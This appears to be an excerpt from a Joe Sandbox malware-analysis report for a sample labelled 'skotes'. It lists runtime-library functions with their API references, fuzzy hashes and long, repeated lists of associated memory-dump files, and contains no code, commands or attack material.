Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: a7522bcd99ab2bc97f49d489f2e9b686a017220f12185fd6499659eeeebd5d61
Instruction ID: 00833bb55a44e3663438c31a091a02102b038e86d7945d906fd30b30a4a4969b
Opcode Fuzzy Hash: a7522bcd99ab2bc97f49d489f2e9b686a017220f12185fd6499659eeeebd5d61
Instruction Fuzzy Hash: 03F0E93AA40604A7CF25FA54EC93D9EB3799EA1B14B50813DF41557181DF70EA09CAE2

Function 001ACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001ACC66

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 3d5789ccc5744534c09949a518d858638e5d722c285aea33a695ab79c4159394
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: FEB1113A9042869FDB158F68C8817EEBFE5EF56350F1581AAE855EB242D7348D01CBE0

Function 001B67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001B6902
__alloca_probe_16.LIBCMT ref: 001B6998
__freea.LIBCMT ref: 001B6A03
__freea.LIBCMT ref: 001B6A0F

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: d496b0bcc00e04a7c0dec3a0471874f3622b655766164cad3021d488f9f19f20
Instruction ID: 0334b9ee9d57716a528efaa0ad2bd580e38ba1ef89f69428f4a9554d158de324
Opcode Fuzzy Hash: d496b0bcc00e04a7c0dec3a0471874f3622b655766164cad3021d488f9f19f20
Instruction Fuzzy Hash: 1381E372D00255AFDF209FA58881EEF7BB9EF29314F194159E804B7281E739CC40CBA0

Function 001A504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 001A5115
___AdjustPointer.LIBCMT ref: 001A5138
___AdjustPointer.LIBCMT ref: 001A51D4

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0c397c9e023ea5534e7d55c37d92922f5a7bfba4af58744a8aff69b9bddf05b7
Instruction ID: 56d8d96b7b3ca30cc5c6d93aa43705891fd507181729cf922159fa44e782e701
Opcode Fuzzy Hash: 0c397c9e023ea5534e7d55c37d92922f5a7bfba4af58744a8aff69b9bddf05b7
Instruction Fuzzy Hash: 7451067A609B06AFDB299F14D881BBA77B7EF26310F14452DF80687691E731ED40CB90

Function 001A4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 001A4C66
TypeidsEqual.LIBVCRUNTIME ref: 001A4C8B
PMDtoOffset.LIBCMT ref: 001A4CA1
PMDtoOffset.LIBCMT ref: 001A4D22

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: cfe8bdffb4e41cee5d3d77303c9d05069fefa4a89aa5ca368a75a87d9192af52
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 4C51BE39A042499FDF11CFA8C4806EEFBF5EFA6364F14449AE850A7351D3B2AD05CB90

Function 00172EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00172F5F
GetCurrentThreadId.KERNEL32 ref: 00172F7E
__Mtx_unlock.LIBCPMT ref: 00172FCC
__Cnd_broadcast.LIBCPMT ref: 00172FE3

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 4c22aa4a58626bea1a2fe96635cee7e5c8e29070eceb0af6e6bb873bd70ced37
Instruction ID: 35067a511d3772465a8d7f223cc1616d5cb8360ac03f0f0699b1069fc10b00bf
Opcode Fuzzy Hash: 4c22aa4a58626bea1a2fe96635cee7e5c8e29070eceb0af6e6bb873bd70ced37
Instruction Fuzzy Hash: BB41B1B09016059FDB20EF65C944B5AB7F8FF24324F108569E82AD7790EB35EA05CBD1

Function 0019DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0019DB64

Part of subcall function 00198F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00198F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0019DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0019DBE9
Concurrency::location::_Assign.LIBCMT ref: 0019DC56

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
